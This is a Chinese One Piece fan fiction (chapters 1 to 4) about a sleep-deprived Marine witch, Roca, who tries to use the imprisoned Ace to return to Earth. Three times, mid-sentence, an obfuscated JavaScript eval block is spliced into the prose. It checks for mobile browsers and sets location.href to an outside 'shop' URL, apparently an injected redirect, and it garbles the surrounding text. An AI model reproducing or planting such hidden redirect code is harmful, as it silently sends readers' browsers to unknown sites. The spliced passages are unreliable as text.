《[主海贼]火拳他欠我很多钱》 1. 001 001 狱卒把一位白发少女带到艾斯跟前的时候,艾斯正好结束一轮拷打又被锁进了牢房里,双臂被海楼石制成的锁链一左一右高高吊起,小臂上有鲜血从伤口渗出,沿着他手臂的线条缓缓滑出一道鲜明的红痕。 此外他身上还交错着新旧不一的伤口,锁骨下方有处狭长的刀伤,似乎是在今天的拷打过程中挣裂了,鲜血裹挟着脓水正不断地涌出,覆盖了他身上早已干涸的、更早的血迹。 狱卒拿钥匙打开牢门,只听一道陌生的脚步声混在狱卒的脚步声中走进囚室之内,是女士靴的后跟轻叩地面的声音;紧接着一双带跟的黑皮高筒靴果然便走到艾斯跟前,往上是一件干净的白大褂和搭在白大褂肩头的一头纯白色的长卷发。 只听她开口说道:“这就是艾斯啊?听说他连续受刑已经三天三夜不得一眠,但这看上去还是很精神呀。” 清凌凌的声线里隐约藏着几分疲惫。 艾斯抬头,看到一双湛蓝的眼睛。 狱卒恭敬地回答她:“是的,洛卡大人。这些海贼就是这样狡猾偏执,即使已经伤痕累累还是要装出一副顽强不屈的样子来。” 白发少女打了个哈欠,蹲下去查看艾斯的伤势。 艾斯对来自海军阵营的人有下意识的防备,往后一退却忘了自己是靠墙坐着的状态,根本就退无可退。他的身上的锁链因他这一退重重往墙上一撞,少女惊讶地抬眼看来,最后盯紧了他锁骨下方那处最严重的、森然见骨的狭长刀伤。 “先给他治伤。”她站起来转头吩咐道,“然后把他转移到我的工作室去。” 要办接下来的事,首先得把艾斯圈进一个独立的、安全的空间里。 狱卒恭敬道:“是。” 紧接着那狱卒挥了挥手,外头竟真的走进来几个医护人员。 同艾斯关在同一囚室的甚平一直沉默到现在,此时终于警觉道:“光是拷打还不够,你们还要搞什么新花样?” 先前负责拷问的都是些彪形大汉,今天不知为何突然换了个看上去毫无敌意的小姑娘,但甚平不知为何总觉不祥。 狱卒上前一步厉声阻止:“无礼之徒,还不住口!” 洛卡一双幽蓝的眸子下方泛着青黑,眼睛半睁不睁,看上去十分困倦。她扬手阻止了狱卒:“算了,平时上班已经很累了何苦还给自己找架吵。” 艾斯也看不透眼下的情况,语气里却不见丝毫恐惧:“没关系的甚平,推进城的手段来来去去就是那几样,早都习惯了。” “啊?不是啦,你可能误会了。”洛卡闻言摆了摆手,“听说你是那种被拷打的时候一声不吭的类型,对你这样的人没日没夜反复拷打也没什么乐趣吧?我来找你只是因为手上刚好有个正在研究的项目、而你刚好成了这项目的最新小白鼠而已。” 她说着说着又打了个哈欠:“你好艾斯先生,我叫洛卡·加西亚,是你这个研究的主要负责人。从今天开始就是同事了,你和大家一样叫我洛卡就行。” * 也不知洛卡到底是为了什么项目来的推进城,推进城竟真的为她专门辟出了一间工作室。里头一左一右摆着一张书桌和一张餐桌,书桌旁立着一个比墙稍矮的木质柜。除此之外工作室内没有任何看上去像实验仪器的设备,环境十分简陋。 她指使狱卒把艾斯关在工作室最深处的角落里,然后客气地把狱卒请了出去,关好门关好窗,最后不紧不慢地走到工作室的正中央,居高临下、神色肃然地望了他半晌:“艾斯先生,你认识赵本山和宋丹丹吗?” “……谁?这名字的发音好奇怪啊。” “哦,那就排除是中国人的可能性了……那夏洛克·福尔摩斯呢?” “不认识。” “宫崎骏呢?” “听起来像个走腹黑路线的反派名字。” “为什么这个名字被你一听会像腹黑反派……那约瑟夫·维萨里奥诺维奇·斯大林呢?” “好长的名字,是最近才出名的海贼吗?” “……呃不是。不如说称他这样的人为海贼也太冒犯了。但是好奇怪啊,这么出名的人都不认识……”说到这里洛卡大惊失色,“莫非你不是地球来的?”她失声叫道,“不应该啊!你难道是这里的原住民?” 不可能!她明明就在艾斯身上感受到过深深的同类气息! “洛卡小姐,我实在不明白你说的原住民是什么意思……不过我倒不是推进城的原住民,应该说推进城就没有多少原住民吧?我来自一个无人管理的垃圾处理场……” “难道失忆了?”洛卡根本没在意他的回答,疾步上前抓住他的脑袋来回晃了好几下,似乎这样就能解决她眼下最大的难题似的,“怎么样,想起来一些什么没有?比如你那刻骨铭心的前世今生?” “……”艾斯只觉得眼晕,“洛卡小姐,一般情况下人就算有前世也不会记得吧……” 洛卡松开他的脑袋,疑惑地自言自语道:“莫非是这几天被打傻了?” 艾斯闻言有些不悦:“如你所见我神志清醒得很。” 洛卡没理他。囚室内静了一会,她突然又抬起头来:“不过现在最要紧的事情还是先按计划睡一觉。” 这么说着洛卡又焦虑地起来转了好几圈,似乎是在思考自己在这种关键的时候选择睡觉真的好吗,但最终她还是决定暂且把艾斯这个难题放到一边:“艾斯先生,我现在得抓紧时间睡一会,你对面的墙上有个钟,麻烦你看好时间两个小时后叫我一声,谢谢你。对了,我睡觉的时候如果你有空的话麻烦你也想想在你过去二十年的人生中是否有过失忆的经历,这对我们真的很重要。” 说着洛卡就真的从一个柜子里拿了个枕头出来拍了拍,又从一个大抽屉里抽出了一条毯子抖开披在肩上,坐到囚室的书桌跟前将眼前的资料书籍胡乱往边上一推,睡前还不忘提醒艾斯:“两小时后一定要叫我哦,我还得赶末班船回家。” “……等等。”艾斯有些震惊,“现在没有狱卒在场,你要在我这个死刑犯跟前睡觉吗?” “有什么问题?”洛卡奇道,“怎么你是想跑?”想了想又道,“说得也对。” 她披着毯子走到艾斯跟前,伸出右手屈起食指在他额头上弹了个脑瓜崩,像是玩游戏似的喊了一句“木头人不许动”就坐回书桌前往桌上一趴,盯着眼前的墙面看了好一会儿才闭上了眼睛。 闭上眼睛之前她还在想:如此这般闹了一遭,艾斯对她的印象应该相当深刻了吧? 活了二十年之久,艾斯还是第一次见到在他面前当场就寝的海军。 她就那么笃定他不会逃走吗? 艾斯试着扭了扭手腕,震惊地发现自己动不了了——可以出声、可以转头,然而四肢和躯体仿佛被一股不知名的力量紧紧绑缚,无法动弹。 他挣扎了半天不见任何效果:这是什么,她的果实能力吗? 还没等艾斯完全接受和消化眼前的状况,面前的人忽然在睡梦中猛地踹了书桌一脚,迷迷糊糊说了句什么,由于太含糊了艾斯实在没听清,就见她抱着枕头脑袋一歪就摔到了地上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052193|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。后脑着地,不知是不是摔晕过去了,她竟然没有丝毫转醒的迹象。 艾斯很想出声提醒,但从她睡着开始只过了半个小时,她看起来又非常缺觉,要是叫她起来她会不会生气?她要是生起气来会不会真的把他变成木头人? 正犹豫的时候艾斯看到她缓缓睁开了眼睛,抱着枕头站了起来,缓缓走向对面的餐桌,在即将撞到桌角时又转过身,一步一步朝原先的位置走去。 直到她来回走了三趟,艾斯才惊觉她似乎是在梦游。 他觉得还是出声叫一叫她比较好,一个“洛”字刚刚升到喉间还没来得及真正发出,她就像是受了惊吓似的忽然倒吸一口凉气,紧接着又像是什么也没发生过似的,回到木桌前趴下了。 艾斯眼看着对方重复了数次如此恐怖的睡眠模式之后,终于等到她睁开了眼睛:“……我睡了多久?” 艾斯瞄了一眼墙上的钟:“差不多就是两个小时。” 洛卡拍了拍自己的脸,长叹一口气从地上站了起来,开始收拾书桌:“为什么睡了觉感觉和没睡一样还是那么累呢?好不容易找了个注定搞不出结果的研究用来摸鱼如果睡眠质量提升不上去的话也太可惜了……” 艾斯听了这话总感觉事情有哪里不对:“用来摸鱼的研究?你是指我吗?” “是啊!你对眼下的状况理解得很快嘛!”洛卡冲着艾斯竖起大拇指,“不过你放心,虽然你是最新的实验对象,但我也不会对你做什么的,反正这任务也不可能完成。” 什么叫这任务不可能完成? 听到这里艾斯笑了,说话时颇有几分敷衍和不信:“能被委派到这么一个不可能完成的项目上,说明洛卡小姐其实有些过人的能力吧?” 据说把人激怒后反而能套出些情报来,艾斯被囚在此处反正也做不了什么,只能尽力一试。 洛卡沉默了一会儿,似乎是想起来一些不太好的回忆;同时还颇有兴味地歪头看了他一眼,应该是看出了他是在套话,于是直接开启了另一个话题:“艾斯先生你真的没想起来什么特别的东西?比如你前世其实是个骑扫帚的魔法使之类的?” “哈哈。”艾斯简直被她这跳跃的话题逗乐了,“我要是魔法使的话就骑着扫帚冲出推进城了……” “也对哦。”洛卡一点都没有戳中人家心事的自觉,走到角落里拿了把扫帚过来,“艾斯先生,从你的骨相身高和不认识中国的国民级艺人这两点来看你大概率是西方人,前世是魔法使或者吸血鬼的可能性很高哎,要不来试试看?” 说着她伸出左手在艾斯的头顶上打了个响指,绑着艾斯的锁链应声而断。 长期被海楼石束缚的疲惫感和脱力感瞬间消失,艾斯忽然发现自己又能动了:“洛卡小姐……你知道你在做什么吗!” “嗯?”洛卡把扫帚往他跟前一递,“做魔法使测试呀?” 艾斯被她眼中的真诚和清澈吓到了,也不知道怎么想的,竟然傻傻地将那扫帚接了过去。 洛卡兴奋地指导他坐到扫帚柄上,嘴里念念有词地围着他绕了两圈,末了在他肩膀上猛地一拍:“去!” 那扫帚带着艾斯猛地向半空冲去,在突如其来的变故之中骑在扫帚上的艾斯一时忘了反应,脑袋险些撞上天花板。 洛卡赶紧收回法术把他从半空中弄了下来:“不好意思不好意思我忘了收力度了……你没事吧?这要是撞坏了脑子连累你这一世也失忆了就不好了……” 艾斯扶着扫帚呆了半晌才道:“不是等等,洛卡小姐你真的是魔法使啊?” 2. 002 002 洛卡挠了挠头:“还不够明显吗?在我老家我这种的一般被称为女巫。”她收回了那把扫帚放回墙角,“我家在东欧某个鲜有人迹的森林里,你不知道也没关系,我来自一个你或许从未见过的某个蓝色星球。” 洛卡说着说着叹了口气,“某天我正在林子里对付一头魔兽,突然头顶上出现一个我从未见过的黑色魔法阵,跟外星人的飞碟似的咻一下子就给我吸进去了,醒来就在这里了。” 艾斯猛地抬起头:“你是说你是被这里的魔法使召唤过来的?你不是这里的人?” “是啊,就是这么回事吧。”洛卡苦恼地捻了捻自己的发梢,“总而言之我就在这里莫名其妙地过了好几年,几年来我一直在寻找回去的方法但总是失败……” 艾斯感觉自己像是听到了一个什么玄幻小说:“那……你为什么会觉得我是你的突破口?” “因为你就是我的同类啊!”说到这里洛卡又开心起来,一双眸子亮如晨星,“难道你见到我就没有一种特别的熟悉感或者亲切感?你现在已经重获自由,但却没有任何挟持我冲出去一路逃出推进城的想法,不正是因为潜意识里你也拿我当同伴吗?!” “……不,我并不想做那种卑劣的事。”艾斯皱眉,“所以你是穿越到此,原先其实是什么东欧人?” “是啊,你用词好准确,我就说你肯定懂这些!”洛卡忽然激动起来,猛地一拍艾斯的手臂,用力过猛导致虎口一麻,收回手来疼得来回甩了好几遍,“我真没找错人!不枉我为了见到你打了十几份虚假报告才把你拉进我这毫无希望的项目里啊!” 艾斯不知为何有些沉默:他大约明白她为什么要费尽心思见他一面了,但理智告诉他,他不能和一个海军交心。 正踌躇的时候,洛卡又兴奋地开口了。 “艾斯,你体质特殊,大概率能帮到我。” 她说这话时转开了目光,但又很快转回来炯炯地盯住了艾斯,“我在这里从事无聊的注定不会有结果的研究已经很长时间,这么多年我借职务之便一直在寻找我的同类——艾斯先生!遇到你的那一天那个将我带来此地的黑魔法阵激动到把我家储物间都震塌了!你一定就是那个天选之人!” * 冷静下来之后面上仍带着喜色的洛卡拿出报告书,用一种热切关心、堪称慈爱的目光盯着艾斯看了半晌:“好吧因为我总得拿点东西去糊弄一下上级,接下来我得问你一些常规问题,你就随便回答一下好了。” 艾斯被她盯得浑身不自在,站在牢房中央略显踌躇:“我这个样子被人看到了岂不是给你添麻烦?你要不要重新把我绑起来?” 正整理资料的洛卡只听到了后半句,惊讶地抬头望了他一眼:“你更喜欢被绑起来?” “……我不是那个意思!” 在推进城工作也不是一天两天了,洛卡还是第一次听到这样的要求。虽然有些莫名其妙但为了和艾斯处好关系她还是从柜子里拿出了一捆绳子,绳子的一端从她袖中穿出绕紧了艾斯的双腿,哗啦一下将他整个人倒吊了起来,“这姿势行吗?不行你跟我说一下,我给你换一换。你喜欢什么样的,俯趴的还是仰躺的?” 艾斯从下至上看了一眼,原来那绳子的另一端穿过房顶的横梁牢牢握在洛卡的手里,速度快得他都看不清——这就是魔法吗?好方便啊。 他生怕一旦他说要换姿势她给换个更奇葩的,只好忍辱负重道:“……这样就行了。你想问什么?” 洛卡把绳子另一端绑在自己的手腕上,从胸前的外套口袋里拿出一只按压型的原子笔来:“你的血型和齿龄之前刚来的时候就验过了吧?唔……吃果实的时候身体有什么排异反应还记得吗?就是生病或者受伤之类的?家住哪里,家里还有几口人?” “排异反应?应该没有,具体情形有些记不清了。”艾斯谨慎地把这个问题应付过去了,“但为什么要问我家人的情况?” “啊。”洛卡好心地解释道,“因为活人实验体以近亲优先。” “……没有,我的近亲都不在了。”艾斯想起自己的母亲,眸光黯淡下来,“家人倒是有不少,但都没有血缘关系。” “是吗。”洛卡在近亲一栏画了个叉,“那这些没有血缘关系的家人里头同性别同年龄的有多少人?” “同龄同性别是第二优先级吗?”艾斯很快反应过来,“那我可不能告诉你。” “拜托你好歹撒个谎什么的吧。”洛卡打了个哈欠,“不过反正海军一时半会儿也抓不住你那些个同伙,那就给你同龄人这边也划掉好了。” “……谢谢你。”艾斯想了半天,还是道了个谢,“但是替我写假报告不会给你招来麻烦吗?” “没关系啦,这些年我写过的假报告摞起来都有一个你这么高了。”说着说着她困倦地揉了揉眼睛,“这种以活人为实验体的丧尽天良的研究其实是世界政府主推项目,我们这些牛马就这样拿着微薄的固定工资、浪费时间浪费生命参与一些毫无意义的只为替上层洗钱而存在的实验……” “洗钱?这么大的阵仗只是为了洗钱?”艾斯一时之间不知道该说什么,想着还是安慰她一下好了,“……但洛卡小姐你应该是负责人吧,就算是打工的应该也是工资最高的那位?” “洗钱是主要目的,但是对上头来说要是哪天洗钱项目也能拿出点成果来不也很好吗?而且其实这个项目就我一个人啦。”洛卡忧伤地一一数来,“我的工资在同职级里是最低的,而且每个月还完房贷就不剩多少了,除此之外还得交水电和燃气费。至于伙食嘛,因为这两年都是出外勤也吃不到食堂所以都是自理的……” 说到这里她愤恨地抓起艾斯的个人资料,“这么差的待遇还想叫我给你们卖命,做梦去吧!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052194|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 说完将艾斯的各项体能指标都勾选了“B”,并在备注栏注明艾斯因长期受刑导致体能下降因此近期不适合实验。瞎写一通后她在右下角签了自己的名字,用尽浑身力气将那报告摔到一边,“反正今年肯定也没有年终奖,我管你这破研究成不成得了呢!” 气愤地摔了东西之后洛卡在原地来回走了好几趟,牵动绳子另一端的艾斯在半空中荡起了秋千:“艾斯,不如我帮你越狱吧!” 艾斯在剧烈的眩晕感中吓得浑身一激灵:“你说什么!” “反正你也不是这个世界的人啊!”洛卡越想越觉得可行,“我回家去把那个魔法阵带来,你先跟我回我的老家也就是地球去,然后我们慢慢研究你到底来自哪个世界,到时候我再送你回去就好了嘛!” 说着她激动地解开了手腕上的绳子,甚至没看到那头毫无防备的艾斯险些从半空中掉下来摔个倒栽葱,“你等等我,我回家一趟马上就来!” “等一下!”艾斯及时伸手在地上撑了一撑,从地上站起的下一秒便赶紧往前跑了几步抓住了洛卡的小臂,“洛卡小姐,你怎么能确定我就是你的同伴呢?万一我不是,你那个魔法阵不会产生什么异样反应吗?” “嗯?”洛卡转身朝他眨了眨眼睛,“我之前不是说过,遇到你的那天魔法阵产生共振震塌了我家的地窖吗?我之前自己一个人鼓捣了那么多年那阵都没什么反应,你一出现它就动了,这就说明加西亚的古书上说的是对的!” “……那古书说了些什么?” “我们作为个体被召唤到这个世界,是被动且单线的,除非当初召唤我们的人再次出现并且善心大发送我们回去,否则就完全回不去。”洛卡耐心地解释道,“如果把魔法阵理解成一道门的话,我作为被召唤的个体只能出来,却不能进去。” “可按你的说法,我不也只是一个被动的个体吗?” “不不不。”洛卡晃了晃自己的手指以示否定,“就像魔法阵这么多年一直留在我身边一样,当初将你带来的那道门也一定还在你身边。与我的魔法阵产生共振的其实不是你,而将你带到此世的那道门。” 她兴奋地凑近艾斯,蓝色的瞳仁里跃动着晶亮的希望,“虽然你现在失忆了有些麻烦,但也没有关系,既然你那道门隔着那么老远都能和我放在我公寓储物间里的魔法阵产生共振,说明你的门离你不远,极大概率它是化成了某个小物件被你带在了身上,只是你一时想不起来而已。只要我拿出我的阵,它一定会被召唤出来的。” 不等艾斯回答她又激动地补充,“就算你那道门不属于我正在修习的魔法系统,而是属于科学侧或者其他一些什么东西也都没有问题,只要双门共振那入口就会为我们打开的——就算只有一条缝!” 说完她激动地推开了艾斯的手臂,“那艾斯你在这坐一会,我的公寓不远,我晚上就能回来!” 3. 003 003 晚上洛卡果然回来了,回来时发现艾斯又坐回了原地,身上还绑着海楼石制成的铁链。 “嗯?我不在的时候谁又给你绑回去了吗?” 她进门后又锁上了门,紧接着走到艾斯身边想切断锁链,响指打出去之前艾斯忽然将手从铁链里抽了出来——原来他刚才只是将断了的铁链缠在了自己手上装出一副被绑的假象。 洛卡讶然:“啊……你还挺聪明。” “洛卡小姐,你都不怕你不在的时候我直接跑了吗?” 艾斯问出这句话的时候是真的很想知道答案。 洛卡疑惑地歪头:“你不是没跑吗?再说了咱们都要从这个见鬼的世界解脱了,你跑什么?你自己跑还不如跟着我跑。” 说完她从袖中拈出一根纤细的银链来,银链在她手腕上绕了三圈,中端镶嵌着一块雾紫色的水滴状宝石。她珍而重之地解开手链将这宝石握在手心,低头念了几句艾斯听不明白的咒语,那宝石忽然发出一阵强光,强光消失时,天花板上出现了一个黑色的魔法阵。 复杂的符文构成了圆形阵法的边沿,阵中刻着一个五芒星,正在边沿之中匀速旋转。阵心刻着一个倒转的五芒星,正与包围着它的大五芒星反方向以同样的速度旋转着。 双星相逆,是禁术。 洛卡看着阵心眯起了双眼——当初召她前来的几位术士都已是年近七旬的老人,在术式完成后一周内陆续暴病而亡,要找回当初那些人送她回去已是万万不能了。 幸而生活也不是全无希望,她苦等了这么多年,上天不就把艾斯送到她跟前了吗! 洛卡想到这里欣喜地咧嘴一笑,一把抓住正呆立一旁观察那阵的艾斯:“快,我们走!” 她刚说完,那阵忽然发动,真如她所说像是一个UFO一般,发出一阵黑紫色的强光将他二人吸了进去。 艾斯忽然感到一阵失重——周围的景色变了又变,他看到一个穿着过大的魔法袍、戴着过大的魔法帽正坐在一位年迈妇女怀里的白发小女孩,猛然意识到这好像就是洛卡的下一秒,场景已经换成了稍大些的洛卡坐在桌前调制魔药的模样;紧接着是她初次独自出门打魔兽却没能打赢、她哭哭啼啼回家找那位老人,却发现老人已坐在床边的摇椅上永远闭上了双眼的场景。 耳边传来洛卡不间断的哭声,刚被老人捡回木屋的襁褓中的洛卡、长大一些又忽然失去了老人的洛卡、在魔兽跟前吃了亏一边大哭一边逃跑的洛卡、回到木屋发现老人的遗体化成萤火虫般的光点逐渐消失的洛卡,周边的情景随着渐弱的哭声逐渐暗了下去,忽然又猛地一亮,他看到了湛蓝的天空和丝状的白云。 他惊了一跳,下意识环顾四周,发现自己正在半空中急速下落——抓着他手腕和他一起下落的洛卡似乎正在惊喜地大声喊着什么,但风声太大了他实在听不清,看口型似乎她正在大喊“你看到了吗这就是我家”——目之所及除了蓝天白云,还有下方广袤的土地和土地之上油画般延展开去的森林。 茂密的、碧绿的森林大片大片地铺在大地之上,有天蓝的河流蜿蜒其中。等近些了,青草混着泥土的自然气息扑面而来,艾斯才看清林间确实错落分布着一些木制建筑,虽然很是稀疏。 然而正在此时,位于他们头顶上方的魔法阵却再次发动,将他二人再次吸了进去——突然下落又陡然上升,失重感再次袭来,再落地时艾斯甚至感到胃里有些翻江倒海。 再次睁眼,还是在熟悉的牢房。 先前那种轻快的笑意还僵在洛卡的脸上:“怎么、怎么会这样?为什么又回来了?” 头顶上的魔法阵发出的亮光缓缓熄灭,一大一小两个五芒星逐渐停转,最终连阵型也慢慢消失,符文和五芒星都化成几道纤细的黑色丝线,自动回到了洛卡手心的宝石里。 宝石亮了一瞬,也暗了下去,看上去不过一块平平无奇的紫色宝石。 “……看来我不是你要找的人。”在地上坐了许久才消化了刚才经历的一切的艾斯安慰了她一句,“很抱歉。” 除此之外他也实在不知道该说什么。 “……这不是你要道歉的事。”洛卡在牢房冰凉的地面上呆坐半晌,终于开口说话了,“可能……应该是我判断失误。或许、或许是你恰好是这样的体质,才让我误会了……本来世上也就存在这种巧合嘛,反正,这么多年也习惯了……只不过是继续在这里待下去而已……没什么的。” 但这次真的很接近了。 她看上去实在有些失魂落魄。 艾斯走到桌边给她倒了一杯不知道凉了多久的水,小心地递到她手边,过了很久她也没接。 这个时候他忽然看到她刚才扔到一边的资料,上面写满了他的个人信息。第一栏是他的名字,紧接着是他父母的全名。 看到“罗杰”两个字他便不愿再读下去,移开目光之前却看到他母亲露玖姓名旁边的一行小字备注:超级大美人。 不知为何他有点想笑,但教养让他硬生生憋住了。正犹豫要不要请洛卡将这照片让给他的时候,洛卡终于从他手里接过了那杯水,咕嘟咕嘟全灌了下去,才觉得心头不那么烧得慌了:“唉,事已至此……” 艾斯原本以为她就此放弃了,结果就听她说道,“只能把你培养成下一个穿越者了!” “……什么?” 洛卡振作起来后转过头来执着地盯着他:“你能让我的阵产生共鸣,说明至少你和我有一样的体质,反正眼下你被单独关在这里,每天不得不接受我的洗脑,终有一天你会产生一种想去别的世界看看的愿望,那时——虽然我也是听说——但条件成熟的时候门会自然产生,到时候我就能走了。” 对于主动想要脱离这个世界的人来说,心中生出强烈的【离开此地】的想法便是前提条件之一。 艾斯哭笑不得:“洛卡小姐,无论这里有多么糟糕,此地都有我的家人,即使是死我也不想离开……我不喜欢逃。再者,我也快被行刑了,你还能洗脑我多久呢?” 这话说完,洛卡不悦地皱起眉头:“马上就要死了,你就这么坦然吗?你不会不甘心吗?”她盯着艾斯的眼睛,说了一句意味深长的话,“离开这里,好歹能活啊。” 艾斯摇了摇头,拿走她手里的空杯放回桌上,“我这辈子每一个决定都是我自己作出、我自己实行的。走到今天也算是某种必然结果吧。我不需要很长的寿命,只要当下不后悔就够了。唯一放不下心的只有……” 他回答得毫无犹豫,洛卡听了下意识地有些惊奇——他竟然没受她那句话的影响? “只有什么?”多少有些懊恼的洛卡从他这半句话中听出一丝洗脑成功的可能性来,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052195|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那就活下去,去实现这桩让你挂心的事啊!” “洛卡小姐。”他转过身来,突兀地提起了另一件事,“你应该知道我所在的白胡子海贼团吧?” 洛卡被他突然转话题的态度搞得莫名其妙:“当然知道,怎么了?” “你不是想离开这里吗?”艾斯笑道,“你去那里吧。去我曾经在的地方,那里不会有人逼你去做你不愿做的事。到了外面……你说不定能遇到你真正的同类。” 在洛卡看来这简直是交代遗言。她不敢置信地瞪大眼睛,没料到眼前这个青年竟然真的就这么放弃了:“……那你呢?” “我进来之前,身上的私物都被这里的狱卒扣下了。”艾斯还在继续说他的计划,“以洛卡小姐你的级别,应该是都能拿到的——我没记错的话,应该有一只帽子和一把匕首。你拿上我的匕首去找我老爹,他们会接纳你的。” “但,万一他们觉得我是故意拿你的东西去接近他们实际上另有所图呢?” 艾斯缓缓摇头:“你不像是作为间谍培养的,作为海军身体太弱,却能在推进城这种死牢随意进出。洛卡小姐,你看上去除了魔法别无所长,完全不像一个长期接受训练的海军。这大概是你长期被海军监视,不被允许修习除魔法之外的技能的缘故。你在这里没有自由,总觉得每一天都不是过给自己的,自然会觉得只要逃了就有希望。既然要逃,你就去我的家,我的家人会保护你。” 且他以前没有被抓时从未听过洛卡这号人,可见她应该也没有什么明面上的军功。 其实他还有些重要的话没说出来,但他觉得没必要现在就说。 他说这番话时态度平和、神情温柔,但是洛卡却被他这一番话震得脑子都快一片空白了:“我根本不知道他们在哪,我怎么见到他们?” 这话说完她自己都惊了一下:她怎么会顺着他的话说?难道她内心真的觉得这条路可以走得通? “你会见到他们的。”艾斯脸上的笑意收敛了,“我要被处刑了……他们一定会来刑场救我。” “既然如此,你自己怎么不跟着回去呢?”洛卡根本不明白,“你自己跟他们走,顺便也带我走,这样不是最好吗!” “要在刑场上带走一个死刑犯外加一个在编海军,这实在太难了,洛卡小姐。”艾斯看着地上那份资料里罗杰的姓名和照片,渐渐将拳握紧了,“你既然知道我生父是谁,大概也知道海军抓我的目的吧?” 他这么一说,洛卡也沉默了。 艾斯自嘲地笑了笑:“海军要罗杰一脉就此灭绝,只要我在,海军就不会放弃对我的追捕。”他静了静,又说道,“所以到了刑场上,我会全力助你上船,上船后你再拿出我的遗物归还,他们一定会收留你的。” 等等。好像有哪里不对。从刚才到现在洛卡一直都在被他的逻辑牵着鼻子走,到现在她的理智才算是回笼了。 她盯着艾斯看了半晌,心底浮起一个疑问:说到底艾斯为何如此笃定她会上船?是船上有些什么对她来说至关重要的人或事吗? 她和白团众人见面的机会确实只有马林梵多那一次,仅这一次就能让艾斯确定洛卡一定会背弃海军投向白团、且还要拼死助她上船? 唔,不过他说到他自己的时候似乎也不像是在撒谎。他是不是觉得,只要他死了,一切就都解决了? 4. 004 004 洛卡一下子不知道该怎么办了:一个人一旦产生自毁情绪,她该说些什么、该怎么帮他? 思来想去她决定先说点别的,想了半天她总算想到一个能岔开话题的由头:“你们海贼工资是怎么算的?” “……哈?” “就是薪资待遇,保险大概是没有的,不用帮员工交保险和公积金的话底薪应该不低吧?”她愁眉苦脸地望着艾斯,“我在药厂上班。药厂你可能不知道,是个没有背景就只能拿死工资的地方。最近说是要支援前线,年终奖和工会福利都取消了,我这点死工资要供房、吃饭,房贷一个月就一万多,燃气费又涨了,我近几年根本存不下来什么钱。” 她长长地叹了口气,忽然又像是猛地振作起来了似的,兴趣盎然地问艾斯,“所以——你们这个工资……哦,你们可能不叫工资。就是你们这个活动经费是怎么算的啊?” 艾斯看了她半天,确定她不是在说笑,是真的在问经费问题,才小心地答道:“我们的钱都是马尔科管着,要是需要下船活动找他要钱就行。每次也给得倒也不多,发的是黄金,我没仔细算过换成贝利是多少。” 虽然很多时候他下船也不会特地找马尔科拿钱就是了。 洛卡有些惊异:“直、直接发黄金?” 艾斯一愣,绞尽脑汁地安慰她:“这,其实很多时候马尔科也没看那么仔细,随手抓了一把就丢出去了,在场其他人凭本事抢到多少算多少,所以应该也有超不过一万的时候。” 洛卡沉默了好一会儿才找回自己的声音:“你们海贼发工资的方式居然是抓起一把金子随手一扔……” 艾斯补充:“还得抢的。” 洛卡根本没被安慰到半点。半晌,她弱弱地说道:“那……你们作息如何?晚上九点就能睡觉吗?” 艾斯更可怜她了——类似于那种对暴雨天在路边瑟瑟发抖的湿漉漉的流浪猫的怜悯:“没有固定的熄灯时间,是有谁在打扰你睡觉吗?上了船的话你想什么时候睡就什么时候睡,谁打扰你睡觉你就揍谁。” 洛卡揉了揉眼睛:“怎么感觉海贼的职业前景竟然如此光明。”顿了顿,又说,“你先别说话,让我静一静。” 她坐在那,双臂环住了自己的膝盖,双眼直直望着前方,半晌一动不动。她的体型本就偏瘦,现在心情又很沮丧,配合她刚睡醒不久因此炸成一团的额发,看上去活像一只凄凉无助的小白猫。 沉默很久之后艾斯听见这只凄凉无助的小白猫说:“靠,早知道不投军了。” * 这之后洛卡时不时会带些奇奇怪怪的东西过来。她会把这些东西塞进她的药箱,而她的药箱可以免于检查。所以当这一天洛卡从药箱里拿出一瓶酒的时候,艾斯眼前一亮的同时倒也并没有感到很惊诧。 “我家储藏室前段时间不是塌了吗?里面的东西大多数都没保住,还剩这几瓶酒。”洛卡又拿了两个酒杯出来,“我打算跟你小酌几杯,喝完顺便再睡会。” “洛卡。”艾斯盯着那瓶酒,吞了口唾沫,“你说是来给我做实验的,但是这囚室连个设备都没有,他们不会怀疑你吗?” “不会不会。”洛卡摆摆手,“我拿另一个能力者的报告给你顶上去了,反正这项秘密研究不会有结果的啦。” “所以你就上班时间喝大酒?” “你这是什么话?上班时间要是老老实实干活那只能算是卖时间卖命挣血汗钱;但要是利用上班时间灵活摸鱼那就是倒挣单位的钱了……算了我这种拿死工资的基层职员跟你们自由职业者说不通。” 她倒满一杯,把装满酒液的玻璃杯递给艾斯,“这瓶酒我藏了好久了一直也没找到人跟我喝,我觉得你合适,就带来了。” 